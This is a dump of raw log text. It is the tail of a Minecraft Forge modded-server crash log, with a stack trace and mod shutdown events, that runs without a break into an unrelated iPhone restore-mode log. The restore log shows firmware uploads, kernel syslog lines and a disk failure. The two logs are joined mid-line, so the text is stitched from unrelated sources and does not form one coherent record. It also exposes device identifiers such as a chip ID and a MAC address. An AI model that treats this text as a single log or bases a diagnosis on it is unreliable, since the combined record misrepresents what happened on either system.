net.minecraftforge.fml.common.asm.ASMTransformerWrapper$TransformerWrapper.transform(ASMTransformerWrapper.java:256) ~[forge.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.runTransformers(LaunchClassLoader.java:279) ~[launchwrapper-1.12.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:176) ~[launchwrapper-1.12.jar:?] at java.lang.ClassLoader.loadClass(ClassLoader.java:418) ~[?:1.8.0_232] at java.lang.ClassLoader.loadClass(ClassLoader.java:351) ~[?:1.8.0_232] at java.lang.Class.getDeclaredMethods0(Native Method) ~[?:1.8.0_232] at java.lang.Class.privateGetDeclaredMethods(Class.java:2701) ~[?:1.8.0_232] at java.lang.Class.privateGetPublicMethods(Class.java:2902) ~[?:1.8.0_232] at java.lang.Class.getMethods(Class.java:1615) ~[?:1.8.0_232] at net.minecraftforge.fml.common.eventhandler.EventBus.register(EventBus.java:82) ~[EventBus.class:?] at net.minecraftforge.fml.common.AutomaticEventSubscriber.inject(AutomaticEventSubscriber.java:82) ~[AutomaticEventSubscriber.class:?] ... 32 more [14:28:03] [Server thread/ERROR] [net.minecraft.server.MinecraftServer]: This crash report has been saved to: /aternos/server/./crash-reports/crash-2019-12-21_14.28.03-server.txt [14:28:03] [Server thread/INFO] [net.minecraft.server.MinecraftServer]: Stopping server [14:28:03] [Server thread/INFO] [net.minecraft.server.MinecraftServer]: Saving worlds [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod minecraft [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod minecraft [14:28:03] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Minecraft took 0.000s [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod mcp [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod mcp [14:28:03] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Minecraft Coder Pack took 0.000s [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod FML [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod FML [14:28:03] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Forge Mod Loader took 0.000s [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod forge [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod forge [14:28:03] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Minecraft Forge took 0.000s [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod techguns_core [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod techguns_core [14:28:03] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Techguns Core took 0.000s [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod craftstudioapi [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod craftstudioapi [14:28:03] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - CraftStudio API took 0.000s [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod animania [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod animania [14:28:03] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Animania took 0.000s [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod betteranimalsplus [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod betteranimalsplus [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Better Animals Plus took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod bookworm [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod bookworm [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Bookworm API took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod k4lib [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod k4lib [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - K4Lib took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod colorchat [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod colorchat [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - ColorChat took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod cw [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod cw [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Creature Wisperer took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod dragonmounts [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod dragonmounts [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Dragon Mounts took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod extragems [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod extragems [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - ExtraGems took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod horse_colors [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod horse_colors [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Realistic Horse Genetics took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod llibrary [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod llibrary [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - LLibrary took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod iceandfire [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod iceandfire [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Ice and Fire took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod ichunutil [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod ichunutil [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - iChunUtil took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod imsm [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod imsm [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Instant Massive Structures Mod took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod jei [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod jei [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Just Enough Items took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod landmanager [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod landmanager [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Land Manager took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod malisiscore [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod malisiscore [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - MalisisCore took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod malisisdoors [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod malisisdoors [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - MalisisDoors took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod mowziesmobs [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod mowziesmobs [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Mowzie's Mobs took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod sereneseasons [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod sereneseasons [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Serene Seasons took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod spartanweaponry [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod spartanweaponry [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Spartan Weaponry took 0.001s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod spartanfire [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod spartanfire [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Spartan Fire took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod spartanshields [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod spartanshields [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Spartan Shields took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod teamup [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod teamup [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Team Up took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod techguns [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod techguns [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Techguns took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod ultimate_unicorn_mod [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod ultimate_unicorn_mod [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Wings, Horns, and Hooves, the Ultimate Unicorn Mod! took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod wings [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod wings [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Wings took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod mowzies_wings [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod mowzies_wings [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Mowzie's Wings took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod zawa [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod zawa [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Zoo and Wild Animals Mod: Rebuilt took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod claimitapi [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod claimitapi [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - ClaimIt API took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod claimit [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod claimit [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - ClaimIt took 0.000s [14:28:04] [Server thread/DEBUG] [FML]: BThe state engine was in incorrect state PREINITIALIZATION and forced into state SERVER_STOPPED. Errors may have been discarded.
libi error on 6G device Setting to interface 0:0 WARNING: set interface failed, error -8 Recovery Mode Environment: iBoot build-version=iBoot-2817.60.2 iBoot build-style=RELEASE Sending AppleLogo... DEBUG: tss_response_get_path_by_entry: No entry 'AppleLogo' in TSS response NOTE: No path for component AppleLogo in TSS, will fetch from build_identity Extracting applelogo@2x~iphone.t7000.im4p... Writing data to AppleLogo Sending AppleLogo (12140 bytes)... DEBUG: tss_response_get_path_by_entry: No entry 'RestoreRamDisk' in TSS response NOTE: No path for component RestoreRamDisk in TSS, will fetch from build_identity Extracting 058-49166-036.dmg... Writing data to RestoreRamDisk Sending RestoreRamDisk (24208893 bytes)... DEBUG: tss_response_get_path_by_entry: No entry 'RestoreDeviceTree' in TSS response NOTE: No path for component RestoreDeviceTree in TSS, will fetch from build_identity Extracting DeviceTree.n61ap.im4p... Writing data to RestoreDeviceTree Sending RestoreDeviceTree (122870 bytes)... DEBUG: tss_response_get_path_by_entry: No entry 'RestoreKernelCache' in TSS response NOTE: No path for component RestoreKernelCache in TSS, will fetch from build_identity Extracting kernelcache.release.n61... Writing data to RestoreKernelCache Sending RestoreKernelCache (12023621 bytes)... About to restore device... Waiting for device... Attempt 1 to connect to restore mode device... Attempt 2 to connect to restore mode device... Attempt 3 to connect to restore mode device... Attempt 4 to connect to restore mode device... Attempt 5 to connect to restore mode device... Attempt 6 to connect to restore mode device... restore_is_current_device: Connected to com.apple.mobile.restored, version 13 Attempt 7 to connect to restore mode device... Device is now connected in restore mode... Connecting now... Connected to com.apple.mobile.restored, version 13 Device has successfully entered restore mode Hardware Information: BoardID: 6 ChipID: 28672 UniqueChipID: 7992728590225446 ProductionMode: true Previous restore exit status: 0x100 About to send NORData... DEBUG: tss_response_get_path_by_entry: No entry 'LLB' in TSS response NOTE: Could not get LLB path from TSS data, will fetch from build identity Found firmware path Firmware/all_flash/all_flash.n61ap.production Getting firmware manifest Firmware/all_flash/all_flash.n61ap.production/manifest Extracting LLB.n61.RELEASE.im4p... Writing data to LLB Extracting iBoot.n61.RELEASE.im4p... Writing data to iBoot Extracting DeviceTree.n61ap.im4p... Writing data to DeviceTree Extracting applelogo@2x~iphone.t7000.im4p... Writing data to AppleLogo Extracting recoverymode@1334~iphone-lightning.t7000.im4p... Writing data to RecoveryMode Extracting batterylow0@2x~iphone.t7000.im4p... Writing data to BatteryLow0 Extracting batterylow1@2x~iphone.t7000.im4p... Writing data to BatteryLow1 Extracting batterycharging0@2x~iphone.t7000.im4p... Writing data to BatteryCharging0 Extracting batterycharging1@2x~iphone.t7000.im4p... Writing data to BatteryCharging1 Extracting glyphplugin@1334~iphone-lightning.t7000.im4p... Writing data to BatteryPlugin Extracting batteryfull@2x~iphone.t7000.im4p... Writing data to BatteryFull Extracting sep-firmware.n61.RELEASE.im4p... Writing data to RestoreSEP Extracting sep-firmware.n61.RELEASE.im4p... Writing data to SEP common.c:supressed printing 14481617 bytes plist... Sending NORData now... Done sending NORData About to send RootTicket... Sending RootTicket now... Done sending RootTicket Partition NAND device (28) About to send FDR Trust data... Sending FDR Trust data now... Done sending FDR Trust Data Got status message Status: Disk Failure Log is available: SYSLOG: Sep 10 05:16:50 localhost bootlog[0] <Notice>: BOOT_TIME 1473484610 0 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: obe iDAC=1973 default SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleOscarProcessor::OscarStartGated: baudRate=0 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleOscarProcessor::setOscarStateGated: setting oscar-state=10001 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleOscarProcessor::publishFirmware: firmware published successfu lly SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleOscarProcessor::OscarBootGated: Starting Oscar2, baudRate=150 0000 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleSynopsysOTG3Device::gated_handleUSBCableConnect cable connect ed, but don't have device configuration yet SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: ready - 00000000: 3f | ? SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleOscarProcessor::WaitForBootROMReady: _BootROMReady=1 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleOscarFirmware::waitForFirmwareImage: waiting for firmware SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleARMPMUCharger: AppleUSBCableDetect 0 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleARMPMUCharger: AppleUSBCableType Detached SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleSynopsysOTG3Device::gated_handleUSBCableConnect cable connect ed, but don't have device configuration yet SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: ASPStorage::ASPIsReadOnly - Ramdisk rooted. Returning readonly tru e SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: ASPStorage::ASPIsReadOnly - Ramdisk rooted. Returning readonly tru e SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: LwVM::probe - failed to read header from media SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: [effaceable:INIT] found current generation, 116, in group 0 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: [effaceable:INIT] started SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: ASPStorage::ASPIsReadOnly - Ramdisk rooted. Returning readonly tru e SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: [ANS syslog: nand] Util_Host:attempting to read element=PANICLOG n ot yet written, returning ERR_ABORT SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: LwVM::probe - failed to read header from media SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: [ANS syslog: nand] Util_Host:attempting to read element=PANICLOG n ot yet written, returning ERR_ABORT SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: [ANS syslog: nand] Util_Host:attempting to read element=PANICLOG n ot yet written, returning ERR_ABORT SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: [ANS syslog: nand] Util_Host:attempting to read element=PANICLOG n ot yet written, returning ERR_ABORT SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleMesa::start: sensor sanity checking failed on start, power cy cle SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleARMPMUCharger: AppleUSBCableDetect 1 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleARMPMUCharger: AppleUSBCableType USBHost SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleSynopsysOTG3Device::gated_handleUSBCableConnect cable connect ed, but don't have device configuration yet SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleMultitouchN1SPI: detected HBPP. driver will be kept alive SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: [ PCI configuration begin ] SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: [ PCI configuration end, bridges 2, devices 1 ] SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: 000026.470793 wlan0.C[0] setPowerStateGated@7234:Power transition before init (Off --> On) SYSLOG: Sep 10 05:16:51 localhost syslogd[4] <Notice>: ASL Sender Statistics SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleMesa::start: sensor sanity checking failed on start, power cy cle SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: 000026.562630 wlan0.C[1] start@807:Waiting for PCIe to enumerate SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: 000026.563076 wlan0.A[2] createFirmwareLogger@8240: CCFlags: 0x0, CCLevel: 127 ConsoleFlags: 0x0, ConsoleLevel: -1 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleBCMWLANCore::init IO80211-177.6 "IO80211-177.6" Aug 19 2016 1 0:48:47 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: IO80211Controller::createIOReporters 0xc2851a7e587864e5 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: CCFlags: 0x0, CCLevel: 5 ConsoleFlags: 0x0, ConsoleLevel: -1 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleSynopsysOTG3Device::gated_handleUSBCableConnect cable connect ed, but don't have device configuration yet SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleSynopsysOTG3Device::gated_handleUSBCableConnect cable connect ed, but don't have device configuration yet SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: No Service found 10000039d SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: configureInterests - nElements <= 0!Failed to addSubscription for group Chip subgroup Bytes Transferred driver 0xc2851a7e587864e5 - data underrun SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: IO80211ControllerMonitor::configureSubscriptions() failed to add s ubscriptionIO80211Controller::start _controller is 0xc2851a7e587864e5, provider is 0xc2851a7f6e0f64e5 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: 000026.565214 wlan0.A[3] gatherDeviceTreeData@774:WiFi 'serial bau d rate' is invalid! SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: 000026.566806 wlan0.N[4] start@1179:Starting with MAC Address: 70: 3e:ac:5d:ee:47 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleBCMWLANCore::apple80211RequestIoctl type 0xc cmd GET SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleBCMWLANCore::apple80211RequestIoctl type 0x50 cmd GET SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: 000026.566907 wlan0.N[5] setPowerStateGated@15307: powerState 1, fStateFlags 0x20, dev 0xc2851a7e587864e5 (this 1, provider 0) SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: 000026.566911 wlan0.N[6] setPowerStateGated@15310: Received power state change before driver has initialized, ignoring SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: IO80211PeerManager::initWithInterface can't add monitoring timer SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: IO80211Interface::init peerManager=0xc2851a7f6e2a24e5 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: IO80211Controller::configureInterface: Setting mac address on inte rface SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: 000026.568941 wlan0.N[7] populateRequestedFiles@1299:FW C-4345__s- B1/tempranillo.trx SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: 000026.568975 wlan0.N[8] populateRequestedFiles@1305:CLM C-4345__s -B1/tempranillo.clmb SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: 000026.568987 wlan0.N[9] populateRequestedFiles@1313:Tx Cap C-4345 __s-B1/tempranillo.txcb SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: 000026.568993 wlan0.N[10] populateRequestedFiles@1326:NVRAM C-4345 __s-B1/P-tempranillo_M-CORO_V-m__m-5.1.txt SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleSynopsysOTG3Device::gated_handleUSBCableConnect cable connect ed, but don't have device configuration yet SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleSynopsysOTG3Device::gated_handleUSBCableConnect cable connect ed, but don't have device configuration yet unable to open /dev/klog: Resource busy SYSLOG: Sep 10 05:16:51 localhost restored_external[6] <Error>: libMobileGestalt MobileGestalt.c:154: couldn't load supp ort library SYSLOG: Sep 10 05:16:51 localhost restored_external[6] <Error>: libMobileGestalt MobileGestalt.c:520: _MGSCopyAnswerFrom Server can't be loaded SYSLOG: Sep 10 05:16:51 localhost restored_external[6] <Error>: libMobileGestalt MobileGestalt.c:124: called dummy funct ion! display-scale = 2 display-rotation = 0 found applelogo at /usr/share/progressui/applelogo@2x.tga SYSLOG: Sep 10 05:16:51 localhost restored_external[6] <Error>: IOMFB: /System/Library/Frameworks/MediaToolbox.framework /MediaToolbox not found SYSLOG: Sep 10 05:16:51 localhost restored_external[6] <Error>: IOMFB: /System/Library/PrivateFrameworks/MediaToolbox.fr amework/MediaToolbox not found SYSLOG: Sep 10 05:16:51 localhost restored_external[6] <Error>: IOMFB: /System/Library/PrivateFrameworks/Celestial.frame work/Celestial not found SYSLOG: Sep 10 05:16:51 localhost restored_external[6] <Error>: IOMFB: FigInstallVirtualDisplay not found SYSLOG: Sep 10 05:16:51 localhost restored_external[6] <Error>: CFPreferences could not connect to its daemon. Preferences using the connection 0x0 will be volatile and will not be persisted to disk. found display: primary display: 750 x 1334 powering on display SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: Loading diags data region 1 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleSynopsysOTG3Device - Configuration: Apple Mobile Device SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleSynopsysOTG3Device Interface: AppleUSBMux waiting for matching IOKit service: <CFBasicHash 0x15550bbb0 [0x100bf2a08]>{type = mutable dict, count = 1, entries => 0 : <CFString 0x100e7ef10 [0x100bf2a08]>{contents = "IOProviderClass"} = <CFString 0x15550bca0 [0x100bf2a08]>{co ntents = "AppleUSBDeviceMux"} } SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: virtual bool AppleUSBDeviceMux::start(IOService *) build: Aug 19 2 016 10:50:21 SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleSynopsysOTG3Device::gated_registerFunction Register function AppleUSBMux SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleSynopsysOTG3Device::startUSBStack Starting usb stack SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleMesa::start: disabling the sensor SYSLOG: Sep 10 05:16:51 localhost kernel[0] <Notice>: AppleDRV2604Vibrator::start() mode=rtp cal=0a:67:a5:01 init=0 SYSLOG: Sep 10 05:16:54 localhost kernel[0] <Notice>: IOReturn AppleUSBDeviceMux::setPropertiesGated(OSObject *) setting debug level to 7 recv(9, 4) failed: connection closed unable to read message size: -1 could not receive message recv(9, 4) failed: connection closed recv(10, 4) failed: connection closed unable to read message size: -1 unable to read message size: -1 could not receive message could not receive message recv(14, 4) failed: connection closed recv(15, 4) failed: connection closed recv(9, 4) failed: connection closed recv(12, 4) failed: connection closed recv(11, 4) failed: connection closed unable to read message size: -1 recv(16, 4) failed: connection closed unable to read message size: -1 recv(13, 4) failed: connection closed unable to read message size: -1 unable to read message size: -1 unable to read message size: -1 could not receive message unable to read message size: -1 could not receive message recv(18, 4) failed: connection closed unable to read message size: -1 recv(19, 4) failed: connection closed could not receive message could not receive message could not receive message recv(20, 4) failed: connection closed recv(21, 4) failed: connection closed could not receive message recv(22, 4) failed: connection closed recv(14, 4) failed: connection closed unable to read message size: -1 could not receive message unable to read message size: -1 unable to read message size: -1 unable to read message size: -1 unable to read message size: -1 unable to read message size: -1 could not receive message could not receive message could not receive message could not receive message could not receive message could not receive message client protocol version 13 *** UUID 9A713E8C-8EC4-6F52-5B83-A150C021547E *** Restore options: MinimumSystemPartition => <CFNumber 0xb00000000000a9f3 [0x100bf2a08]>{value = +2719, type = kCFNumberSIn t64Type} UUID => <CFString 0x15560ac00 [0x100bf2a08]>{contents = "9A713E8C-8EC4-6F52-5B83-A150C 021547E"} SystemPartitionSize => <CFNumber 0xb00000000000a9f3 [0x100bf2a08]>{value = +2719, type = kCFNumberSIn t64Type} SystemPartitionPadding => <CFBasicHash 0x15560aa10 [0x100bf2a08]>{type = mutable dict, count = 9, entries => 0 : <CFString 0x1556071f0 [0x100bf2a08]>{contents = "512"} = <CFNumber 0xb000000000005003 [0x100bf2a08]>{value = +1280, type = kCFNumberSInt64Type} 2 : <CFString 0x155606670 [0x100bf2a08]>{contents = "128"} = <CFNumber 0xb000000000005003 [0x100bf2a08]>{value = +1280, type = kCFNumberSInt64Type} 3 : <CFString 0x155603160 [0x100bf2a08]>{contents = "16"} = <CFNumber 0xb000000000000a03 [0x100bf2a08]>{value = +160, type = kCFNumberSInt64Type} 4 : <CFString 0x15560b530 [0x100bf2a08]>{contents = "1024"} = <CFNumber 0xb000000000005003 [0x100bf2a08]>{value = +1280, type = kCFNumberSInt64Type} 5 : <CFString 0x15560b4f0 [0x100bf2a08]>{contents = "32"} = <CFNumber 0xb000000000001403 [0x100bf2a08]>{value = +320, type = kCFNumberSInt64Type} 6 : <CFString 0x155600330 [0x100bf2a08]>{contents = "768"} = <CFNumber 0xb000000000005003 [0x100bf2a08]>{value = +1280, type = kCFNumberSInt64Type} 7 : <CFString 0x100b9b240 [0x100bf2a08]>{cont... PersonalizedDuringPreflight => <CFBoolean 0x100bf2f80 [0x100bf2a08]>{value = true} entering load_sep_os device has sep - getting firmware entering copy_restore_sep got sep firmware - making call to load it entering ramrod_load_sep_os entering ramrod_execute_command_with_input_data: /usr/libexec/seputil (0x10534c000 - 4642298) executing /usr/libexec/seputil waiting for child to exit SYSLOG: Sep 10 05:16:56 localhost kernel[0] <Notice>: bool AppleSEPFirmware::_initFromMemory(IOMemoryDescriptor *): load ed 4642298 bytes of firmware from client SYSLOG: Sep 10 05:16:56 localhost kernel[0] <Notice>: AppleSEP:WARNING: Could not register SEP root shmcon (err=-1) SYSLOG: Sep 10 05:16:56 localhost kernel[0] <Notice>: AppleSEP:WARNING: Could not register SEP debugger shmcon (err=-1) SYSLOG: Sep 10 05:16:56 localhost kernel[0] <Notice>: IOReturn AppleSEPManager::setFirmwareBytes(IOMemoryDescriptor *, b ool, bool): SEP Shared Memory Buffer at <ptr> SYSLOG: Sep 10 05:16:56 localhost kernel[0] <Notice>: void AppleSEPBooter::_bootAction(void *, void *): SEP status: 1 SYSLOG: Sep 10 05:16:56 localhost kernel[0] <Notice>: void AppleSEPBooter::_bootAction(void *, void *): SEP accepted Tz0 SYSLOG: 